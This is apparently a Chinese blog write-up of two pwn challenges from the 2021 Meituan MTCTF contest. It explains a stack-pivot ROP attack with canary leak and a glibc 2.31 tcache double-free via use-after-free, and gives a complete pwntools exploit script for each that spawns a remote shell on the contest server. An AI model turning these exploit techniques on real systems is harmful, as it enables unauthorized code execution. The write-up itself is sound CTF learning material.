2021 美团MTCTF WriteUp (PWN)

前言

比赛的时候做了两个PWN,由于队里没有逆向手,所以又切了道逆向,队友们做了两个密码,一个杂项。
总共241个得分队伍,最终排第36名,离进决赛还是有挺大距离的。
这里,把我做的两道PWN题总结一下。

babyrop(54解)

一个栈题,考察了挺多东西,主要是变相地考察了栈迁移
首先,有个单字节溢出,利用其覆盖canary末尾的\x00,使得数据无法截断,之后printf即可将canary泄露出。
接着,动态调试一下,就很容易知道password对应的数是4196782(其实为字符串的地址)。
最后,read看似只能读一次,不过观察到其溢出了0x10,而read起始写入的地址是由rbp控制的,因此可以通过覆写栈上rbp处为我们想要写入的地址,之后leave中有pop rbp,因此可以控制rbp,并且覆写retcall read前一点的地址,即可做到再次读入,并且读入到任意地址。
不过每次读入的内容去掉canary只有0x18的长度,对于布置rop链肯定是不够的,因此可以仿照上述的思路,进行多次分段读入,最后再进行一次标准的栈迁移即可(其中需要注意的是read()的返回地址,压进去的返回地址可能会被我们修改)。
最终getshell的时候,最简单的方式就是一次栈溢出,利用one_gadget即可。
不过,队里另外一个pwn手问我为什么他用system("/bin/sh")就不行,我试了一下,是可行的,我想他大概是由于bss_addr没有抬高或者抬高得不够所以打不通,因为这里调用system是需要访问到bss_addr之前空间的,如果是碰到了不可读(写)段或者是申请的临时空间覆盖了之前的有用数据,就有可能会出问题。
当然,如果控制rbp后,跳转到printf()前面一点,可以直接泄露出libc,相对于以上的思路,稍微简单一些。

from pwn import *

context(os = "linux", arch = "amd64", log_level = "debug")
io = remote("47.93.163.42", 38183)
#io=process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.27.so")

bss_addr = 0x601500
pop_rdi_ret = 0x400913
leave_ret = 0x400759
vuln = 0x400717
read = 0x40071F
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]

io.recvuntil("name? \n")
io.send(b'a'*20 + b'bitch')
io.recvuntil("bitch")
canary = u64(io.recv(7).rjust(8,b'\x00'))
success('canary:\t' + hex(canary))

io.recvuntil("challenge\n")
io.sendline(b'4196782')

payload = b'a'*0x18 + p64(canary) + p64(bss_addr+0x20) + p64(read)
io.sendafter("message\n", payload)
payload = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(canary) + p64(bss_addr+0x18+0x20) + p64(read)
io.send(payload)
payload = p64(vuln) + p64(0) + p64(leave_ret)
payload += p64(0) + p64(bss_addr-8) + p64(leave_ret)
io.send(payload)

libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym['puts']
success("libc_base:\t" + hex(libc_base))
one_gadget = libc_base + 0x4f432
payload = b'a'*0x18 + p64(canary) + p64(0) + p64(one_gadget)
io.send(payload)
'''
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.sym['system']
payload = b'a'*0x18 + p64(canary) + p64(bss_addr+0x10) + p64(read)
io.send(payload)
payload = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
payload += p64(canary) + p64(bss_addr-0x18) + p64(leave_ret)
io.send(payload)
'''
io.interactive()

bookshop(29解)

一个堆题,首先让你读入申请的堆块大小(0x1F~0x666),之后每次申请堆块,都只能申请这么大,并且堆块个数也有限制,不过限制比较宽泛。
漏洞点也很明显,一个UAF漏洞,而且写入内容时read后并没有添加\x00,可能造成信息的泄露(不过此题没用到)。
首先,每次都只能申请一样大的堆块,那么如果要改变堆块大小,就只能通过空闲堆块合并了。
UAF漏洞可以让我们很方便地泄露出libc的基地址(show放入unsorted bin的堆块),UAF漏洞的攻击方式最常见的就是double free,不过此处貌似不太好实现,主要矛盾在于libc-2.31下,对tcachedouble free进行了检测,在每个tcache binbk处放入了key,标识了其所属的tcache。若是用fastbin double free再配合fastbin reverse into tcache好像可行,不过就不好将chunk放入unsorted bin以泄露libc了(fastbin之间也不会合并)。
所以,想办法将key改变就可以对tcache进行double free了。
scanf读入大量数据,缓冲区不够存放的时候,会分配一个堆块存放这些数据,比如读入0x666个字节,就会分配0x810大小的堆块,并在读入完成后,将申请的堆块free掉。
可以通过填满tcache后,连续free将很多个小堆块合并为一个大堆块,而其中单独的每个小堆块由于UAF漏洞,都可以单独地free,若此时tcache没满,它们每个free后都会进入tcache,并且不会对next chunkprev_inuse位进行检测。
结合以上,可以每次申请0x200大小的堆块,5个这样的堆块合并成0xa00大小的堆块放在unsorted bin,并把0xa00中最后一个0x200的堆块C单独释放到tcache中,这时候再通过scanf读入大量数据,申请了0x810大小的堆块,就会将0xa00大小的堆块分割,并写入新sizeCkey位置处,实现了覆写更改,之后就很容易利用tcache double free修改__free_hooksystem进行getshell
此外,还有一种思路:当scanf读入大量数据,申请了large bin后,会触发malloc_consolidate,从而造成fastbin合并后进入unsorted bin,就可以泄露libc了,然后用fastbin double free再配合fastbin reverse into tcache即可。

from pwn import *

context(os = "linux", arch = "amd64", log_level = "debug")
io = remote("47.93.163.42", 29251)
#io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")

def add(content):
	io.sendlineafter(">> ", b'1')
	io.sendafter("> ", content)

def delete(index):
	io.sendlineafter(">> ", b'2')
	io.sendlineafter("bag?\n", str(index))

def show(index):
	io.sendlineafter(">> ", b'3')
	io.sendlineafter("read?\n", str(index))
	io.recvuntil(": ")

def lucky(size):
	io.recvuntil("number?\n")
	io.sendline(str(size))

lucky(0x1f0)

for i in range(13): #0~12
	add(b'\n')
for i in range(12):
	delete(i)

show(7)
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success("libc_base:\t" + hex(libc.address))

add(b'\n') #13
add(b'\n') #14
delete(11)

io.sendlineafter(">> ", b'8'*0x666)
delete(11)

add(p64(libc.sym['__free_hook'] - 8)) #15
add(b'\n') #16
add(b'/bin/sh\x00' + p64(libc.sym['system'])) #17
delete(17)
io.interactive()

Blindbox(8解)

感觉很复杂,其实就是我太菜了,坐等大师傅们的wp......

posted @ 2021-12-12 01:16  winmt  阅读(701)  评论(1编辑  收藏  举报